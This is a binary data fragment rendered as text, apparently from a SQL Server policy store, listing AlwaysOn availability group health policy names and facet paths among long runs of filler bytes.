!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`n|~`
ZP
4ʨ^8!!!!`"
PjvpAlwaysOnAgReplicasConnectionHealthPolicy_ObjectSet=vAlwaysOnAgReplicasDataSynchronizationHealthPolicy_ObjectSetkvdAlwaysOnAgReplicasRoleHealthPolicy_ObjectSetqvAlwaysOnAgSynchronousReplicasDataSynchronizationHealthPolicy_ObjectSetwvTAlwaysOnDbrJoinStatePolicy_ObjectSet}vZAlwaysOnDbrSuspendStatePolicy_ObjectSetvbAlwaysOnAgOnlineStateHealthPolicy_ObjectSetvnAlwaysOnAgAutomaticFailoverHealthPolicy_ObjectSetv	`AlwaysOnArConnectionHealthPolicy_ObjectSetv
fAlwaysOnDbrDataSynchronizationState_ObjectSetvrAlwaysOnArDataSynchronizationHealthPolicy_ObjectSetvTAlwaysOnArRoleHealthPolicy_ObjectSetv
`AlwaysOnAgWSFClusterHealthPolicy_ObjectSetv^AlwaysOnArJoinStateHealthPolicy_ObjectSet!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n<n`P
ZP%3ۨ^8!!!!`

P[Up
FhServer/AvailabilityGroupAVAILABILITYGROUPHp
FhServer/AvailabilityGroupAVAILABILITYGROUPmp
FhServer/AvailabilityGroupAVAILABILITYGROUPsp
FhServer/AvailabilityGroupAVAILABILITYGROUPyp
pServer/AvailabilityGroup/DatabaseReplicaStateDATABASEREPLICASTATEp
pServer/AvailabilityGroup/DatabaseReplicaStateDATABASEREPLICASTATEp
FhServer/AvailabilityGroupAVAILABILITYGROUPp
FhServer/AvailabilityGroupAVAILABILITYGROUPp
		nServer/AvailabilityGroup/AvailabilityReplicaAVAILABILITYREPLICAp


pServer/AvailabilityGroup/DatabaseReplicaStateDATABASEREPLICASTATEp
nServer/AvailabilityGroup/AvailabilityReplicaAVAILABILITYREPLICAp
nServer/AvailabilityGroup/AvailabilityReplicaAVAILABILITYREPLICAp


".ServerSERVERp
nServer/AvailabilityGroup/AvailabilityReplicaAVAILABILITYREPLICA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!